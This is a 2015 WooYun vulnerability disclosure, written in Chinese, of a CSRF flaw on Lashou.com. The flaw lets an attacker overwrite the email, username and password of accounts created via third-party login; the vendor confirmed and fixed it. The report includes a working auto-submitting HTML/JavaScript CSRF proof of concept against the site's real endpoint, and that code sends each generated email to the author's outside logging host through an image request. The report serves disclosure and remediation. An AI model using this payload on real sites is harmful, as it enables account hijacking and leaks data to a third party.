当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0115590

漏洞标题:拉手网CSRF漏洞存在重置任意用户密码风险

相关厂商:拉手网

漏洞作者: q601333824

提交时间:2015-05-24 21:22

修复时间:2015-06-11 11:11

公开时间:2015-06-11 11:11

漏洞类型:CSRF

危害等级:中

自评Rank:5

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-24: 细节已通知厂商并且等待厂商处理中
2015-05-25: 厂商已经确认,细节仅向厂商公开
2015-06-04: 细节向核心白帽子及相关领域专家公开
2015-06-11: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

拉手网CSRF漏洞存在重置任意用户密码风险

详细说明:


1.今天看见有个拉手网的漏洞公开,于是我去试试,第三方的CSRF
2.以前漏洞的提到过,在用户快速登录的时候,会提示用户设置密码,如果没有检查这个接口重复提交,就会出现重置密码,或者邮箱的漏洞)
3.当用第三方快速登录的时候,到个人中心

1.png


4.抓包请求(这里什么防备都没有)

2.png


5.于是简化post参数,得到表单如下

<html>
<form id="csrf" name="csrf" action="http://beijing.lashou.com/account/setting.php?act=setunite" method="POST">
<input id="6666" type="text" name="email" value="XXXXXX@XXXXX.com" />
<input id="haha" type="text" name="user_id" value="XXXXXXXX" />
<input type="text" name="pwd" value="test789" />
<input type="text" name="pwd2" value="test789" />
</form>
<script>
document.csrf.submit()
</script>
</body>
</html>


6.这些参数大概的作用如下
①.email 这个参数代表需要修改的邮箱(这个参数随便填写,就算不存在的邮箱的也可以,因为只是用来登录用的,但是不能是已经注册过的的邮箱)
②.user_id 这个参数代表需要修改的用户名(这个参数随便填写,但是不能是已经注册过的用户名,而且开头要字母,不然会提示用户名不正确)
③.pwd 这个参数代表需要修改的密码
④.pwd2 这个代表重复密码.
------------------------------------------------------------------------------------------
7.但是上面那段太简单了,每次更换邮箱和用户名太麻烦了,所以添加了代码,最终代码如下

<html>
<form id="csrf" name="csrf" action="http://beijing.lashou.com/account/setting.php?act=setunite" method="POST">
<input id="6666" type="text" name="email" value="XXXX@XXXX.com" />
<input id="haha" type="text" name="user_id" value="XXXXXXX" />
<input type="text" name="pwd" value="test789" />
<input type="text" name="pwd2" value="test789" />
</form>
<script>
var shuzu=['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L','a','b','c','d','e','f','g'];
function test(){
var uid="";
for(var i=0;i<=15;i++)
{
var tbs=Math.floor(Math.random()*29);
uid=uid+shuzu[tbs]; //取随机一组 16 位的参数
}
return(uid)//返回随机获得 16 位的参数
}
var user_id=document.getElementById("haha");//获取user_id表单的元素
var email=document.getElementById("6666");//获取email表单的元素
var suiji=test();
user_id.value="A"+suiji;//开通加上一个字母,然后通过test(),加上随机的16位参数,不会重复
email.value=suiji+"@qq.com";//通过test()获得的16位,当作email 地址,不会重复
var src="http://fripside.sinaapp.com/?email="+email.value;//毕竟是随机的,如果别人访问了,我不知道邮箱也白搭,所以发送到我新浪平台日志,记录下=_=
var e=document.createElement('img');e.setAttribute('src',src);document.body.appendChild(e);//创建img,访问,在日志留下记录
setTimeout("document.csrf.submit();",2000);//延迟两秒提交表单


</script>
</body>
</html></code>
-------------------------------------------------------------------------------------------
8.上面那段代码,看着那么长,其中就一个意思,通过数组,取出随机数字,拼成一个16位的参数,当作邮箱地址和用户名,这样就不需要手动去换邮箱了,然后创建,img,把邮箱当作参数访问,这样在网站日志留下,记录,至少让自己知道随机到什么邮箱了,不然人家访问CSRF,你突然一想,哎呀,人家改的邮箱多少来着,那就逗比了......
-------------------------------------------------------------------------------------------
9.下面是测试图片:
①.现在我的邮箱是:91365aL3K5DcDDF8@qq.com 用户名是:A91365aL3K5DcDDF8

3.png


②.然后访问CSRF页面,邮箱被改成:eEJ8F1e9G1eJLad5@qq.com 用户名被修成成:AeEJ8F1e9G1eJLad5

66666.png


③.新浪日志,留下的修改后的邮箱

0000.png

漏洞证明:


1.漏洞证明看上面
2.

<html>
<form id="csrf" name="csrf" action="http://beijing.lashou.com/account/setting.php?act=setunite" method="POST">
<input id="6666" type="text" name="email" value="XXXX@XXXX.com" />
<input id="haha" type="text" name="user_id" value="XXXXXXX" />
<input type="text" name="pwd" value="test789" />
<input type="text" name="pwd2" value="test789" />
</form>
<script>
var shuzu=['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L','a','b','c','d','e','f','g'];
function test(){
var uid="";
for(var i=0;i<=15;i++)
{
var tbs=Math.floor(Math.random()*29);
uid=uid+shuzu[tbs]; //取随机一组 16 位的参数
}
return(uid)//返回随机获得 16 位的参数
}
var user_id=document.getElementById("haha");//获取user_id表单的元素
var email=document.getElementById("6666");//获取email表单的元素
var suiji=test();
user_id.value="A"+suiji;//开通加上一个字母,然后通过test(),加上随机的16位参数,不会重复
email.value=suiji+"@qq.com";//通过test()获得的16位,当作email 地址,不会重复
var src="http://fripside.sinaapp.com/?email="+email.value;//毕竟是随机的,如果别人访问了,我不知道邮箱也白搭,所以发送到我新浪平台日志
,记录下=_=
var e=document.createElement('img');e.setAttribute('src',src);document.body.appendChild(e);//创建img,访问,在日志留下记录
setTimeout("document.csrf.submit();",2000);
</script>
</body>
</html>

修复方案:


1.检查接口的重复提交
2.或者加上token
3.如果我没有猜错,快速用户登录用的接口是?act=setunite,正常用户用的接口是?act=set吧.=_=,不是一个人写的吗
4.渣代码见谅,我也是用到什么,在网上现学,拼凑起来的代码

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-05-25 09:26

厂商回复:

谢谢您的关注,我们会尽快处理.

最新状态:

2015-06-11:完成,谢谢.